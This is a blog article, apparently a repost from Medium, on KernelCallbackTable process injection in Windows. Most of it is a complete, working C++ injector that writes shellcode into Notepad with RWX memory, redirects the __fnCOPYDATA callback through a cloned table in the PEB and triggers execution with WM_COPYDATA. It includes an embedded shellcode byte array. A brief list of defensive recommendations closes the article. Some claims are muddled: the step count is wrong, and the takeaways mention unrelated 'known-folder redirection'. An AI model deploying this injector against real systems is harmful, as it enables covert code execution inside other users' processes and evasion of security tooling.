core-jmp core-jmpdeath of core jump

KernelCallbackTable Process Injection

Deep dive into KernelCallbackTable process injection, a technique that abuses the PEB's callback table to intercept and redirect Windows message handling, achieving code execution in target GUI applications.

oxfemale July 22, 2026 12 min read 194 reads
Export PDF
KernelCallbackTable Process Injection
Original text: “KernelCallbackTable Process Injection”S12, Medium (2026). Code blocks and technical implementation details are reproduced verbatim with attribution.

Executive Summary

Windows message handling is everywhere. Every GUI application sits in a message loop waiting for user input and window events. But what happens when an attacker corrupts the callback table that decides which function gets called when a message arrives? This article covers KernelCallbackTable process injection, a technique that abuses the KernelCallbackTable structure in the Process Environment Block (PEB) to intercept and redirect message-handling callbacks, enabling code execution within the context of a target process.

The core attack vector is elegant: clone the kernel’s callback table to userspace memory, modify the __fnCOPYDATA pointer to reference attacker-controlled shellcode, update the PEB to point to the cloned table, and trigger execution by sending a WM_COPYDATA message to the target’s window. The kernel trusts the PEB implicitly, making this a powerful technique against GUI applications like Notepad that rely on the message-handling infrastructure.

Introduction

Before diving into the technique, three foundational concepts must be understood: the PEB structure, what the KernelCallbackTable is, and how Windows message handling operates at a low level.

The PEB (Process Environment Block) is a usermode structure that contains process state information. Every process has one, and we can read it from a target process and modify its members using standard Windows APIs.

The KernelCallbackTable is a structure inside the PEB that holds pointers to callback functions. These functions are invoked by the Windows kernel when certain events occur. One of these callbacks is __fnCOPYDATA, which is triggered when the process receives a WM_COPYDATA message. This callback is designed to copy data from the message structure into the usermode process.

Important constraint: The KernelCallbackTable only exists in processes that load user32.dll and participate in the Windows message handling system. These are GUI applications. Service processes, console utilities, and headless servers do not initialize this table. The table is populated when user32.dll is loaded during process initialization, registering callbacks for window messages, timers, hooks, and other GUI events. This means the attack surface is limited to GUI applications like Notepad.

Attack Concept

The core idea: if we can redirect the __fnCOPYDATA pointer to our shellcode instead of the original function, the kernel will execute our shellcode when we send a WM_COPYDATA message to the target process’s window. The callback is invoked in the context of the target process with its privileges.

The challenge is that the KernelCallbackTable lives in kernel space, and we cannot modify it directly from user mode. The solution is elegant: clone the table to userspace memory, modify our copy, update the PEB to point to the cloned table, and send the message. The kernel follows the PEB pointer blindly, trusting it as the source of truth.

Methodology

The attack proceeds in six sequential steps:

  1. Find the target process by name (e.g., Notepad.exe)
  2. Find a window handle associated with the target process (we need an HWND to receive WM_COPYDATA)
  3. Read the original KernelCallbackTable from the target process’s memory
  4. Allocate and write shellcode to the target process
  5. Clone the KernelCallbackTable to userspace memory, modify the __fnCOPYDATA pointer, and write it back
  6. Update the PEB to point to our cloned table
  7. Trigger execution by sending WM_COPYDATA to the target’s window

The critical point: the kernel trusts the PEB. Once we update the PEB’s KernelCallbackTable pointer, the kernel will follow it and call whatever function we put there.

Implementation Walkthrough

Opening the Target Process

Use OpenProcess with PROCESS_ALL_ACCESS to get a handle. This grants read and write permissions on the process’s memory and structures.

DWORD pid = getPIDbyProcName("Notepad.exe");
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (pid == 0) {
    cout << "Error opening target process" << endl;
    return -1;
}

Retrieving the PEB Address

Call NtQueryInformationProcess with ProcessBasicInformation to retrieve the PEB base address. The PEB contains the KernelCallbackTable pointer we need to hijack.

NtQueryInformationProcess_t NtQueryInformationProcess =
    reinterpret_cast(GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQueryInformationProcess"));

PROCESS_BASIC_INFORMATION pbi{};
ULONG retLen = 0;

NTSTATUS status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
if (status != 0){
    cout << "Failed to query process information. NTSTATUS: " << status << endl;
    return -2;
}

PVOID pebAddress = pbi.PebBaseAddress;

Reading the KernelCallbackTable Pointer

Use ReadProcessMemory to read the pointer stored at PEB + offsetof(KernelCallbackTable). This pointer currently points to the kernelspace callback table.

PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(hProc, (PBYTE)pebAddress + offsetof(_CUSTOM_PEB, KernelCallbackTable), &KernelCallbackTable, sizeof(PVOID), &bytesRead)) {
    cout << "Error reading KernelCallbackTable" << endl;
    return -3;
}

Reading the Actual Structure

Dereference the pointer and read the entire KERNELCALLBACKTABLE structure from kernel space into our local buffer.

KERNELCALLBACKTABLE targetKCT;
if (!ReadProcessMemory(hProc, KernelCallbackTable, &targetKCT, sizeof(targetKCT), &bytesRead)){
    cout << "Failed to read KernelCallbackTable structure. Error: " << GetLastError();
    return -4;
}

Allocating and Writing Shellcode

Call VirtualAllocEx with PAGE_EXECUTE_READWRITE to allocate a buffer in the target process. Write the shellcode payload to this address using WriteProcessMemory.

LPVOID allocMem = VirtualAllocEx(hProc, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(!allocMem){
    cout << "Error allocating memory" << endl;
    return -5;
}

SIZE_T written1;
if (!WriteProcessMemory(hProc, allocMem, shellcode, sizeof(shellcode), &written1)) {
    cout << "Error writing shellcode" << endl;
    return -6;
}

Modifying the Callback Table

Overwrite the __fnCOPYDATA field in the local copy of the KERNELCALLBACKTABLE structure to point to the shellcode buffer address instead of the legitimate kernel callback.

targetKCT.__fnCOPYDATA = (ULONG_PTR) allocMem;
cout << "__fnCOPYDATA now points to " << allocMem << endl;

Cloning the Modified Table

Allocate another buffer in the target process with PAGE_READWRITE. Write the modified KERNELCALLBACKTABLE copy to this new buffer. This is the hijacked table that the kernel will follow.

LPVOID memSpaceClonedKCT = VirtualAllocEx(hProc, NULL, sizeof(targetKCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!memSpaceClonedKCT) {
    cout << "Error allocating memory for clone table" << endl;
    return -7;
}

if (!WriteProcessMemory(hProc, memSpaceClonedKCT, &targetKCT, sizeof(targetKCT), NULL)) {
    cout << "Error writing memory for clone table" << endl;
    return -8;
}

Updating the PEB

Write the address of the cloned table to the target process’s PEB at the appropriate offset. The kernel now trusts this userspace pointer as the source of truth for all message callbacks.

PVOID newTable = memSpaceClonedKCT;
if (!WriteProcessMemory(hProc, (PBYTE)pebAddress + offsetof(_CUSTOM_PEB, KernelCallbackTable), &newTable, sizeof(newTable), &bytesRead)) {
    cout << "Error writing the modified kernel table to the target PEB" << endl;
    return -9;
}

Locating the Target Window

HWND hWnd = getHWNDbyPID(pid);
if (!hWnd) {
    cout << "Notepad HWND not found" << endl;
    return -11;
}

The getHWNDbyPID function:

HWND getHWNDbyPID(DWORD pid) {
    HWND hWnd = NULL;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE)
        return NULL;

    THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
    if (Thread32First(hSnap, &te32)) {
        do {
            if (te32.th32OwnerProcessID == pid) {
                EnumThreadWindows(te32.th32ThreadID, [](HWND hwnd, LPARAM lp) -> BOOL {
                    if (IsWindowVisible(hwnd)) {
                        *(HWND*)lp = hwnd;
                        return FALSE;
                    }
                    return TRUE;
                }, (LPARAM)&hWnd);

                if (hWnd) break;
            }
        } while (Thread32Next(hSnap, &te32));
    }

    CloseHandle(hSnap);
    return hWnd;
}

Sending the Triggering Message

Call SendMessageW with the WM_COPYDATA message ID to the target window. The kernel will look up the callback for WM_COPYDATA in the hijacked KernelCallbackTable, find the shellcode address, and execute it.

COPYDATASTRUCT cds = {};
cds.dwData = 1;
cds.cbData = sizeof("pwnd");
cds.lpData = (PVOID)"pwnd";

cout << "Sending WM_COPYDATA to HWND " << hWnd << endl;
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)NULL, (LPARAM)&cds);

Complete C++ Implementation

#include 
#include 
#include 
#include "resolve.h"

using namespace std;

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";

int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        wstring wideProcName(procName.begin(), procName.end());
        do {
            if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe32) != FALSE);
    }

    CloseHandle(hSnap);
    return pid;
}

HWND getHWNDbyPID(DWORD pid) {
    HWND hWnd = NULL;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE)
        return NULL;

    THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
    if (Thread32First(hSnap, &te32)) {
        do {
            if (te32.th32OwnerProcessID == pid) {
                EnumThreadWindows(te32.th32ThreadID, [](HWND hwnd, LPARAM lp) -> BOOL {
                    if (IsWindowVisible(hwnd)) {
                        *(HWND*)lp = hwnd;
                        return FALSE;
                    }
                    return TRUE;
                }, (LPARAM)&hWnd);

                if (hWnd) break;
            }
        } while (Thread32Next(hSnap, &te32));
    }

    CloseHandle(hSnap);
    return hWnd;
}

int main(){
    // Get target process id
    DWORD pid = getPIDbyProcName("Notepad.exe");

    // Open Process
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (pid == 0) {
        cout << "Error opening target process " << endl;
        return -1;
    }

    // Get PEB
    NtQueryInformationProcess_t NtQueryInformationProcess =
        reinterpret_cast(GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQueryInformationProcess"));

    PROCESS_BASIC_INFORMATION pbi{};
    ULONG retLen = 0;

    NTSTATUS status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
    if (status != 0){
        cout << "Failed to query process information. NTSTATUS: " << status << endl;
        return -2;
    }

    PVOID pebAddress = pbi.PebBaseAddress;

    // Read KernelCallbackTable from the PEB
    PVOID KernelCallbackTable;
    SIZE_T bytesRead = 0;
    if (!ReadProcessMemory(hProc, (PBYTE)pebAddress + offsetof(_CUSTOM_PEB, KernelCallbackTable), &KernelCallbackTable, sizeof(PVOID), &bytesRead)) {
        cout << "Error reading KernelCallbackTable " << endl;
        return -3;
    }

    // Read KernelCallbackTable structure from the target process
    KERNELCALLBACKTABLE targetKCT;
    if (!ReadProcessMemory(hProc, KernelCallbackTable, &targetKCT, sizeof(targetKCT), &bytesRead)){
        cout << "Failed to read KernelCallbackTable structure. Error: " << GetLastError();
        return -4;
    }

    // Allocate remote buffer
    LPVOID allocMem = VirtualAllocEx(hProc, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(!allocMem){
        cout << "Error allocating memory " << endl;
        return -5;
    }

    //Write payload to the remote buffer
    SIZE_T written1;
    if (!WriteProcessMemory(hProc, allocMem, shellcode, sizeof(shellcode), &written1)) {
        cout << "Error writting shellcode " << endl;
        return -6;
    }

    // Modify __fnCOPYDATA in the KernelCallbackTable, pointing our remote buffer
    targetKCT.__fnCOPYDATA = (ULONG_PTR) allocMem;
    cout << "__fnCOPYDATA now points to " << allocMem;

    // Clone modified KernelCallbackTable
    LPVOID memSpaceClonedKCT = VirtualAllocEx(hProc, NULL, sizeof(targetKCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (!memSpaceClonedKCT) {
        cout << "Error allocating memory for clone table" << endl;
        return -7;
    }

    if (!WriteProcessMemory(hProc, memSpaceClonedKCT, &targetKCT, sizeof(targetKCT), NULL)) {
        cout << "Error writting memory for clone table" << endl;
        return -8;
    }

    PVOID newTable = memSpaceClonedKCT;
    // Update PEB KernelCallbackTable to cloned KernelCallbackTable
    if (!WriteProcessMemory(hProc, (PBYTE)pebAddress + offsetof(_CUSTOM_PEB, KernelCallbackTable), &newTable, sizeof(newTable), &bytesRead)) {
        cout << "Error writting the modified kernel table to the target PEB" << endl;
        return -9;
    }

    // Trigger the payload
    HWND hWnd = getHWNDbyPID(pid);
    if (!hWnd) {
        cout << "Notepad HWND not found" << endl;
        return -11;
    }

    COPYDATASTRUCT cds = {};
    cds.dwData = 1;
    cds.cbData = sizeof("pwnd");
    cds.lpData = (PVOID)"pwnd";

    cout << "Sending WM_COPYDATA to HWND " << hWnd << endl;
    SendMessageW(hWnd, WM_COPYDATA, (WPARAM)NULL, (LPARAM)&cds);

    return 0;
}

Key Takeaways

  • KernelCallbackTable injection operates at a deeper layer than classical injection methods like thread creation or DLL loading.
  • The technique works only on GUI applications that initialize the message-handling infrastructure via user32.dll.
  • The attack leverages kernel trust in the PEB: once the PEB pointer is redirected, the kernel blindly executes callbacks from the cloned table.
  • Unlike some mitigations that focus on process creation or module loading, this technique bypasses those controls by operating within the message loop.
  • The zero-click nature combined with the accessibility of the PEB makes this a potent technique against Windows GUI applications.
  • Detection opportunities exist in module-loading patterns and known-folder redirection detection, but the core attack mechanism remains effective against many defensive postures.

Defensive Recommendations

  • PEB Integrity Monitoring: Monitor for unexpected modifications to the KernelCallbackTable pointer in critical processes’ PEB structures during runtime.
  • Message-Loop Hooking: Implement behavioral analytics on WM_COPYDATA messages and other callback-triggering events, flagging anomalous patterns.
  • Memory Isolation: Enforce stricter access controls on PEB structures where possible, limiting cross-process reads/writes to privileged contexts only.
  • Endpoint Detection: Deploy EDR solutions that monitor for process injection attempts through the PEB and detect shellcode allocation patterns (RWX pages allocated by non-system processes).
  • Restrict GUI Application Privileges: Run GUI applications with minimal required privileges to limit damage from successful exploitation.
  • Address Space Layout Randomization (ASLR): Ensure all target systems have ASLR enabled to raise the bar for reliable exploitation.
  • Application Sandboxing: Sandbox GUI applications whenever possible to contain compromise even if the injection succeeds.

Conclusion

KernelCallbackTable injection is a technique that remains effective against security solutions focused on thread creation, DLL loading, and module analysis. By operating at the message-handling layer and leveraging the kernel’s trust in the PEB, attackers can achieve code execution in the context of GUI applications without triggering many traditional injection detections. The technique is not new, but its effectiveness against layered defenses demonstrates the ongoing challenge of securing the Windows message-handling infrastructure.

Original text: “KernelCallbackTable Process Injection” by S12 at Medium.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion